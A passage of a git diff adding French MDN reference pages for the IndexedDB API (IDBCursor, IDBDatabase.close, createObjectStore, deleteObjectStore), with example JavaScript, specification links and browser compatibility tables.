+ <dd>Retourne un objet {{domxref("IDBRequest")}}, et, dans un thread séparé, met à jour la valeur à la position actuelle du curseur dans le magasin d'objets. Ceci peut être utilisé pour mettre à jour des enregistrements spécifiques.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("IDBCursor.source")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le {{domxref("IDBObjectStore")}} ou {{domxref("IDBIndex")}} sur lequel le curseur itère. Cette fonction ne retourne jamais <code>null</code> et ne déclenche pas d’exception, même dans les cas ou le curseur est en train d'itérer, s'il a itéré en dehors la plage ou si la transaction n'est pas active.</dd>
+ <dt>{{domxref("IDBCursor.direction")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la direction de parcours du curseur. Voir le paragraphe suivant, <a href="#constantes">Constantes</a>, pour les valeurs possibles.</dd>
+ <dt>{{domxref("IDBCursor.key")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la clé de l'enregistrement à la position du curseur ou <code>undefined</code> si le curseur est en dehors de la plage. La clé peut être de n'importe quel type de données.</dd>
+ <dt>{{domxref("IDBCursor.primaryKey")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la clé primaire effective actuelle du curseur ou <code>undefined</code> si le curseur est actuellement itéré ou a itéré en dehors de sa plage. La clé primaire du curseur peut être de tout type de données.</dd>
+</dl>
+
+<h2 id="Constantes"><a id="constantes" name="constantes">Constantes</a></h2>
+
+<p>{{deprecated_header(13)}}</p>
+
+<p class="warning">Ces constantes ne sont plus disponibles - elles ont été retirées depuis Gecko 25. Les valeurs équivalentes en chaînes de caractères devraient être utilisées à la place (cf. {{bug(891944)}}).</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Valeur</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>NEXT</code></td>
+   <td>
+    <p><code>"next"</code></p>
+   </td>
+   <td>Le curseur indique tous les enregistrements, y compris les doublons. Il commence à la limite inférieure de la plage de clé et se déplace vers le haut (en itérant dans l'ordre des clés).</td>
+  </tr>
+  <tr>
+   <td><code>NEXTUNIQUE</code></td>
+   <td>
+    <p><code>"nextunique"</code></p>
+   </td>
+   <td>Le curseur indique tous les enregistrements, à l'exclusion des doublons. Si plusieurs enregistrements existent avec la même clé, seule la première itération est récupérée. Il commence à la limite inférieure de la plage de clé et se déplace vers le haut.</td>
+  </tr>
+  <tr>
+   <td><code>PREV</code></td>
+   <td>
+    <p><code>"prev"</code></p>
+   </td>
+   <td>Le curseur indique tous les enregistrements, y compris les doublons. Il commence à la limite supérieure de la plage de clé et se déplace vers le bas (en itérant dans l'ordre inverse des clés).</td>
+  </tr>
+  <tr>
+   <td><code>PREVUNIQUE</code></td>
+   <td>
+    <p><code>"prevunique"</code></p>
+   </td>
+   <td>Le curseur indique tous les enregistrements, à l'exclusion des doublons. Si plusieurs enregistrements existent avec la même clé, seule la première itération est récupéré. Il commence à la limite supérieure de la plage de clé et se déplace vers le bas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans ce fragment simple, nous créons une transaction, récupérons un magasin d'objets, puis utilisons un curseur pour parcourir tous les enregistrements du magasin d'objets. Le curseur ne nous oblige pas à sélectionner les données basées sur une clé, nous pouvons simplement travailler sur tout les enregistrements. Notez également que dans chaque itération de la boucle, vous pouvez récupérer les données de l'enregistrement en cours sous l'objet curseur à l'aide <code>curseur.value.toto</code>. Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/IDBcursor-example/">exemple IDBCursor</a> (<a href="https://mdn.github.io/IDBcursor-example/">l'exemple en <em>live</em></a>).</p>
+
+<pre class="brush: js">function afficheDonnee() {
+  var transaction = db.transaction(['grandListAlbum'], "readonly");
+  var objectStore = transaction.objectStore('grandListAlbum');
+
+  objectStore.openCursor().onsuccess = function(event) {
+    var curseur = event.target.result;
+    if(curseur) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = curseur.value.titreAlbum + ', ' + curseur.value.annee;
+      list.appendChild(listItem);
+
+      curseur.continue();
+    } else {
+      console.log('Entrées tous affichés.');
+    }
+  };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBCursor', 'cursor')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible avec les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible avec les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs: {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
+</div>
+</div>
diff --git a/files/fr/web/api/idbdatabase/close/index.html b/files/fr/web/api/idbdatabase/close/index.html
new file mode 100644
index 0000000000..85659d1c4c
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/close/index.html
@@ -0,0 +1,147 @@
+---
+title: IDBDatabase.close()
+slug: Web/API/IDBDatabase/close
+tags:
+  - API
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBDatabase/close
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>close()</code></strong> de l'interface {{domxref("IDBDatabase")}} ferme de façon asynchrone la connexion à la base de donnée.</p>
+
+<p>La connexion sera fermée lorsque toutes les transactions liées à cette connexion seront terminées. En revanche, on ne pourra pas démarrer de nouvelles transactions sur la connexion une fois que cette méthode a été appelée. Les méthodes qui initialisent des transactions déclencheront une exception lorsque la fermeture est en cours.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">db.close();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight:[16]">// ouverture de la connexion à la base de données toDoList
+  var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+  // deux gestionnaires d’événements effectuant les
+  // opérations après que l'ouverture se soit bien
+  // passée ou non.
+  DBOpenRequest.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Erreur lors du chargement de la base.&lt;/li&gt;';
+  };
+
+  DBOpenRequest.onsuccess = function(event) {
+    note.innerHTML += '&lt;li&gt;Base chargée.&lt;/li&gt;';
+
+    // affecte la connexion à la variable db
+    db = DBOpenRequest.result;
+
+    // fermeture de la base de donnée.
+    db.close();
+  }</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-close-void', 'close()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/createobjectstore/index.html b/files/fr/web/api/idbdatabase/createobjectstore/index.html
new file mode 100644
index 0000000000..c63991e662
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/createobjectstore/index.html
@@ -0,0 +1,213 @@
+---
+title: IDBDatabase.createObjectStore()
+slug: Web/API/IDBDatabase/createObjectStore
+tags:
+  - API
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBDatabase/createObjectStore
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>createObjectStore()</code></strong>, rattachée à l'interface {{domxref("IDBDatabase")}}, permet d'ajouter un magasin d’objet ou un index à la base de donnée et renvoie un accès vers celui-ci.</p>
+
+<p>Cette méthode utilise deux paramètres : le nom du magasin d'objets et un objet qui permettra de définir des propriétés optionnelles supplémentaires.</p>
+
+<p>Cette méthode ne peut être appelée que lors d'une transaction en mode <a href="/fr/docs/Web/API/IDBTransaction"><code>versionchange</code></a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var objectStore = db.createObjectStore(name, optionalParameters);
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Le nom du magasin d'objet à ajouter. Il est possible d'ajouter un magasin d’objet dont le nom est la chaîne vide (!).</dd>
+ <dt><code>optionalParameters</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Un objet qui permet de décrire plus finement le magasin d'objets avec ces propriétés :</p>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Propriété</th>
+    <th scope="col">Description</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>keyPath</code></td>
+    <td>Le chemin de la clé utilisé par le magasin d'objet. Si ce paramètre est vide ou non spécifié, le magasin d'objets utilisera une clé externe. Le <code>keyPath</code> peut aussi être un tableau.</td>
+   </tr>
+   <tr>
+    <td><code>autoIncrement</code></td>
+    <td>Si <code>true</code>, le magasin d’objet implémentera un générateur de clé. La valeur par défaut est <code>false</code>.</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <p>Les autres propriétés seront ignorés.</p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<dl>
+ <dt>{{domxref("IDBObjectStore")}}</dt>
+ <dd>Le magasin d'objets qui vient d'être créé.</dd>
+</dl>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Cette exception {{domxref("DOMException")}} est levée si la méthode n'est pas appelée lors d'une transaction en mode <code>versionchange</code>. Pour les anciens navigateurs basés sur WebKit, il faut d'abord appeler {{domxref("IDBVersionChangeRequest.setVersion")}}.</dd>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>Cette exception {{domxref("DOMException")}} est levée si la méthode est appelée sur une base de données qui n'existe pas (elle a par exemple été effacée). Dans les versions antérieures à Firefox 41, ce dernier levait une erreur <code>InvalidStateError</code>, cela est désormais corrigé (cf. {{bug("1176165")}}).</dd>
+ <dt><code>ConstraintError</code></dt>
+ <dd>Un magasin d'objet portant le même nom (la casse est importante) existe déjà dans cette base de donnée.</dd>
+ <dt><code>InvalidAccessError</code></dt>
+ <dd>Si la valeur <code>autoIncrement</code> est à <code>true</code> et que le chemin de clé n'est pas renseigné ou est un tableau vide.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js"> // Ouverture de la base de données
+  var request = window.indexedDB.open("toDoList", 4);
+
+  /* Gestionnaire d'événement qui intervient lors de la
+     mise en place d'une nouvelle version de la base de
+     données, que la base n'existe pas et soit ajoutée
+     ou qu'un nouveau numéro de version soit passé à
+     window.indexedDB.open
+     Il est seulement mis en œuvre dans les
+     navigateurs récents */
+  request.onupgradeneeded = function(event) {
+    var db = event.target.result;
+
+    db.onerror = function(event) {
+      note.innerHTML += '&lt;li&gt;Erreur du chargement de la base de données.&lt;/li&gt;';
+    };
+
+    // On ajoute un magasin d'objet à la base de données
+
+    var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+    // définition des index de ce magasin d'objets
+
+    objectStore.createIndex("hours", "hours", { unique: false });
+    objectStore.createIndex("minutes", "minutes", { unique: false });
+    objectStore.createIndex("day", "day", { unique: false });
+    objectStore.createIndex("month", "month", { unique: false });
+    objectStore.createIndex("year", "year", { unique: false });
+
+    objectStore.createIndex("notified", "notified", { unique: false });
+
+    note.innerHTML += '&lt;li&gt;Magasin d\'objet ajouté.&lt;/li&gt;';
+  };
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-createObjectStore-IDBObjectStore-DOMString-name-IDBObjectStoreParameters-optionalParameters', 'createObjectStore()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/deleteobjectstore/index.html b/files/fr/web/api/idbdatabase/deleteobjectstore/index.html
new file mode 100644
index 0000000000..4c3587fabd
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/deleteobjectstore/index.html
@@ -0,0 +1,233 @@
+---
+title: IDBDatabase.deleteObjectStore()
+slug: Web/API/IDBDatabase/deleteObjectStore
+tags:
+  - API
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBDatabase/deleteObjectStore
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>deleteObjectStore()</code></strong> de l'interface {{domxref("IDBDatabase")}} supprime un magasin d'objet et ses index de la base de données.</p>
+
+<p>Comme la méthode {{domxref("IDBDatabase.createObjectStore")}}, cette méthode doit être appelée <em>uniquement</em> lors d'une transaction en mode <a href="/fr/docs/Web/API/IDBTransaction"><code>versionchange</code></a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">dbInstance.deleteObjectStore(name);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Le nom du magasin d'objet à supprimer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever une {{domxref("DOMException")}} d'un de ces types suivants:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>Levée si la méthode n'est pas appelée lors d'une transaction en mode <code>versionchange</code>. Pour les anciens navigateurs basés sur WebKit, il faut d'abord appeler la méthode  {{domxref("IDBVersionChangeRequest.setVersion")}}.</td>
+  </tr>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>Levée si la méthode est appelée sur une base de données qui n'existe pas (ex. elle a été effacée). Pour les versions antérieures à Firefox 41, ce dernier déclenchait une erreur <code>InvalidStateError</code>, cela est désormais corrigé (cf. {{bug("1176165")}}).</td>
+  </tr>
+  <tr>
+   <td><code>NotFoundError</code></td>
+   <td>Levée lors de la suppression d'un magasin d'objets qui n'existe pas. Les noms sont sensibles à la casse.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on ouvre une connexion à la base de données et dans le gestionnaire d'événements <code>onupdateneeded</code>, on ajoute un magasin d'objets en utilisant la méthode {{domxref("IDBDatabase.createObjectStore")}}. Enfin, on supprime ce magasin d'objets grâce à <code>deleteObjectStore()</code>.</p>
+
+<pre class="brush: js;">  // Connexion à la base de données
+  var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+  /* Gestionnaire d'événements qui intervient lors de
+     la mise en place d'une nouvelle version de la
+     base de données, que la base n'existe pas, qu'elle
+     soit ajoutée ou qu'un nouveau numéro de version
+     soit utilisé avec à window.indexedDB.open
+     Seulement utilisé avec les navigateurs récents */
+  DBOpenRequest.onupgradeneeded = function(event) {
+    var db = event.target.result;
+
+    db.onerror = function(event) {
+      note.innerHTML += '&lt;li&gt;Erreur du chargement de la base de données.&lt;/li&gt;';
+    };
+
+    // Ajoute un magasin d'objets à la base de données
+
+    var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+    // Définition des index de ce magasin d'objets
+
+    objectStore.createIndex("hours", "hours", { unique: false });
+    objectStore.createIndex("minutes", "minutes", { unique: false });
+    objectStore.createIndex("day", "day", { unique: false });
+    objectStore.createIndex("month", "month", { unique: false });
+    objectStore.createIndex("year", "year", { unique: false });
+
+    objectStore.createIndex("notified", "notified", { unique: false });
+
+    note.innerHTML += '&lt;li&gt;Magasin d\'objets ajouté.&lt;/li&gt;';
+
+    // Supprime le magasin d'objets
+
+    db.deleteObjectStore("toDoList");
+  };
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-deleteObjectStore-void-DOMString-name', 'deleteObjectStore()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#dom-idbdatabase-deleteobjectstore", "deleteObjectStore()")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Indexed Database 2.0</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Indexed Database 2.0</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/index.html b/files/fr/web/api/idbdatabase/index.html
new file mode 100644
index 0000000000..113bf3ffa6
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/index.html
@@ -0,0 +1,221 @@
+---
+title: IDBDatabase
+slug: Web/API/IDBDatabase
+tags:
+  - API
+  - IndexedDB
+  - Interface
+  - Reference
+translation_of: Web/API/IDBDatabase
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>L'interface <strong><code>IDBDatabase</code></strong> de l'API IndexedDB fournit <a href="/fr/docs/Web/API/API_IndexedDB#Se_connecter_à_la_base_de_données">une connexion à la base de données</a>. On peut utiliser un objet <code>IDBDatabase</code> pour ouvrir une {{domxref("IDBTransaction","transaction")}} sur la base de données puis ajouter, éditer ou supprimer des enregistrements de cette base de données. Cette interface constitue le seul moyen d'accéder et de gérer les versions de la base de données.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
